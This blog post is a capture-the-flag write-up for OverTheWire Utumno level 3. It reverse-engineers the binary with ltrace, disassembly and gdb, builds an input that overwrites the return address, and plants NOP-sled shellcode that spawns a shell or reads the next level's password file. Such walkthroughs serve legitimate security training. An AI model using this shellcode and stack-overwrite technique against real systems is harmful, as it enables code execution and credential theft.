OverTheWire.org - Utumno - Level 3 Writeup

If we run the executable it ask for input: it's easy to see it with ltrace:
utumno3@utumno:~$ ltrace /utumno/utumno3
__libc_start_main(0x80483eb, 1, 0xffffd794, 0x8048470 <unfinished ...>
getchar(0x200000, 1, 0, 0xf7e40890a
)              = 97
getchar(0x200061, 1, 0, 0xf7e40890)              = 10
getchar(0x200061, 1, 0, 0xf7e40890a
)              = 97
getchar(0x206261, 1, 0, 0xf7e40890)              = 10
getchar(0x206261, 1, 0, 0xf7e40890c
)              = 99
getchar(0x656261, 1, 0, 0xf7e40890)              = 10
getchar(0x656261, 1, 0, 0xf7e40890c
)              = 99

It seems that it goes on for some repetitions and then it ends with no other operation.

So let's disassamble it.
I'll put some comments on the lines beginning #:

   0x080483eb <+0>:     push   %ebp
   0x080483ec <+1>:     mov    %esp,%ebp
   0x080483ee <+3>:     push   %ebx
   0x080483ef <+4>:     sub    $0x38,%esp
   0x080483f2 <+7>:     movl   $0x0,-0xc(%ebp)
   0x080483f9 <+14>:    mov    -0xc(%ebp),%eax
   0x080483fc <+17>:    mov    %eax,-0x8(%ebp)

# Jump to first getchar
   0x080483ff <+20>:    jmp    0x804844d <main+98>

# Main loop
   0x08048401 <+22>:    mov    -0xc(%ebp),%eax
   0x08048404 <+25>:    mov    %eax,%ecx
   0x08048406 <+27>:    lea    -0x3c(%ebp),%edx
   0x08048409 <+30>:    mov    -0x8(%ebp),%eax
   0x0804840c <+33>:    add    %edx,%eax
   0x0804840e <+35>:    mov    %cl,(%eax)
   0x08048410 <+37>:    lea    -0x3c(%ebp),%edx
   0x08048413 <+40>:    mov    -0x8(%ebp),%eax
   0x08048416 <+43>:    add    %edx,%eax
   0x08048418 <+45>:    movzbl (%eax),%ecx
   0x0804841b <+48>:    mov    -0x8(%ebp),%eax
   0x0804841e <+51>:    mov    %eax,%edx
   0x08048420 <+53>:    mov    %edx,%eax
   0x08048422 <+55>:    add    %eax,%eax
   0x08048424 <+57>:    add    %edx,%eax
   0x08048426 <+59>:    xor    %eax,%ecx  
   0x08048428 <+61>:    lea    -0x3c(%ebp),%edx
   0x0804842b <+64>:    mov    -0x8(%ebp),%eax
   0x0804842e <+67>:    add    %edx,%eax
   0x08048430 <+69>:    mov    %cl,(%eax)
   0x08048432 <+71>:    lea    -0x3c(%ebp),%edx
   0x08048435 <+74>:    mov    -0x8(%ebp),%eax
   0x08048438 <+77>:    add    %edx,%eax
   0x0804843a <+79>:    movzbl (%eax),%eax
   0x0804843d <+82>:    movsbl %al,%ebx

#second getchar (4th, 6th, 8th) (stores char at memory location and add +1 to counter)
# note that ebx is modified just before the getchar so it mybe that the main block is used to manipulate where the 2nd (4th, 6th)
# bytes is stored in memory
   0x08048440 <+85>:    call   0x80482c0 <getchar@plt>
   0x08048445 <+90>:    mov    %al,-0x24(%ebp,%ebx,1)
   0x08048449 <+94>:    addl   $0x1,-0x8(%ebp)

# First getchar (3rd, 5th, 7th ..)
   0x0804844d <+98>:    call   0x80482c0 <getchar@plt>
   
# Stores input in variable 
   0x08048452 <+103>:   mov    %eax,-0xc(%ebp)
# compare input. if it's -1 (= EOF) exits

   0x08048455 <+106>:   cmpl   $0xffffffff,-0xc(%ebp)
   0x08048459 <+110>:   je     0x8048461 <main+118>
   
# other loop exit condition: variable b > 0x17 (23) then exit, else execute main loop above
   0x0804845b <+112>:   cmpl   $0x17,-0x8(%ebp)
   0x0804845f <+116>:   jle    0x8048401 <main+22>
   
   0x08048461 <+118>:   mov    $0x0,%eax
   0x08048466 <+123>:   add    $0x38,%esp
   0x08048469 <+126>:   pop    %ebx
   0x0804846a <+127>:   pop    %ebp
   0x0804846b <+128>:   ret

Basically there is a loop that:

  • request getchar (line <+98>
  • Stores input in a location -0xc(%ebp)
  • compares the input to -1 (EOF)
  • if it's equal, then exits
  • Compares another location in memory -0x8(%ebp)
  • if it's greater than 0x17 (Decimal 23) it exits
  • otherwise goes back to line <+22> and executes a long sequence of operations
  • in the end exectues another getchar and store the input to a location: -0x24(%ebp,%ebx,1)
  • increment -0x8(%ebp) by 1 
  • restart loop

If we assign a name to the memory locations as variable we can write it in a pseudocode:

a=b=0

while (1) { 
   a = getchar()
   if b > 23 or a == EOF break

   // executes main loop with many istructions
d=getchar() // where d is memory location -0x24(%ebp,%ebx,1)
   
   b++
}

The difficult part is to understand what the main loop does:
As of now it's clear that variable a, at each loop repetition,  contains the value of the 1st, 3rd, 5th, ... bytes of the input sequence.
While d contains the values of the 2nd, 4th, 6th... byte of the input.
But d position in memory is not fixed as a: it is based on value of ebx

Debugging with gdb and lookig to the code we can say that the main loop:

  • calculates b*3
  • calculates (a xor b*3)  and  stores it in ebx
  • uses ebx to write the input byte d into memory
Using a chosen input where 2nd, 4th, 6th... bytes are always 0x41 ("A") and different bytes for the odd positions

utumno3@utumno:~$ echo "AABACAEAFAGAHAIAJAKALAM" > /tmp/u_1
utumno3@utumno:~$ gdb /utumno/utumno3
(gdb) break *0x0804843d
(gdb) r  < /tmp/u_1
...
...
a    b %ebc             d  ebp    destination memory of d
            
0x41 0 0x41 ^ 0x00 = 0x41   0x41  0xffffd6e8  0xffffd705
0x42 1 0x42 ^ 0x03 = 0x41        0x41  0xffffd6e8  0xffffd705
0x43 1 0x43 ^ 0x06 = 0x45        0x41  0xffffd6e8  0xffffd709
0x45 2 0x45 ^ 0x09 = 0x4c        0x41  0xffffd6e8  0xffffd710
0x46 3 0x46 ^ 0x0c = 0x4a        0x41  0xffffd6e8  0xffffd70e
0x45 3 0x47 ^ 0x0f = 0x48        0x41  0xffffd6e8  0xffffd70c

We see that with the first byte we can control in some way where we store the second byte.

So, with some investigation we see that the return address from the executable is at address 0xffffd6ec.

So we have to build this number with an input such that

  1. first loop: 0xd6e8 - 0x24 + (input xor 0) = d6ec
  2. second loop: 0xd6e8 - 0x24 + (input xor 3) = d6ed
  3. third loop: 0xd6e8 - 0x24 + (input xor 6) = d6e
  4. fourth loop: 0xd6e8 - 0x24 + (input xor 9) = d6ef
This inputs are, in sequence: 0x28, 0x2a, 0x2c, 0x22
So now try with an input like this:

utumno3@utumno:~$ python -c 'print "\x28A\x2aB\x2cC\x22D"' > /tmp/u_1
utumno3@utumno:~$ gdb /utumno/utumno3
Reading symbols from /utumno/utumno3...done.
(gdb) r < /tmp/u_1
Starting program: /utumno/utumno3 < /tmp/u_1

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()

We changed the execution to a location of our choice 0x44434241 ("A B C D" input)

Next steps are quite easy:
  • put a shellcode somewhere in memory, but not as input (aka: EGG variable in environment) with maybe some NOP in front of it
  • find location in memory of this EGG
  • Overwrite the return address somewhere in the NOP sled

export EGG=$(python -c ' print "\x90" * 100 + "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"')
gdb /utumno/utumno3
(gdb) break *0x0804843d
(gdb) r  < /tmp/u_1

(gdb) x/100wx 0xffffde00
...
0xffffde40:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffde50:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffde60:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffde70:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffde80:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffde90:     0x90909090      0x90909090      0x90909090      0x90909090

So 0xffffde60 can be a good candidate to return the execution flow:
so we build the input...

python -c 'print "\x28\x60\x2a\xde\x2c\xff\x22\xff"' > /tmp/u_1


If we run it it's seems not working...+
Checking with strace, it executes /bin//sh but it gives a well know error related to ioctl
So we create a script that outputs the password file and run it from local directory:

utumno3@utumno:/tmp/utm_1$ export EGG=$(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68sssh\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80"')

utumno3@utumno:/tmp/utm_1$ cat > sssh
#!/bin/sh

/bin/cat /etc/utumno_pass/utumno4
^C

utumno3@utumno:/tmp/utm_1$  chmod +x sssh

utumno3@utumno:/tmp/utm_1$  PATH=.:$PATH

utumno3@utumno:/tmp/utm_1$  /utumno/utumno3 < /tmp/u_1
o******ga

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.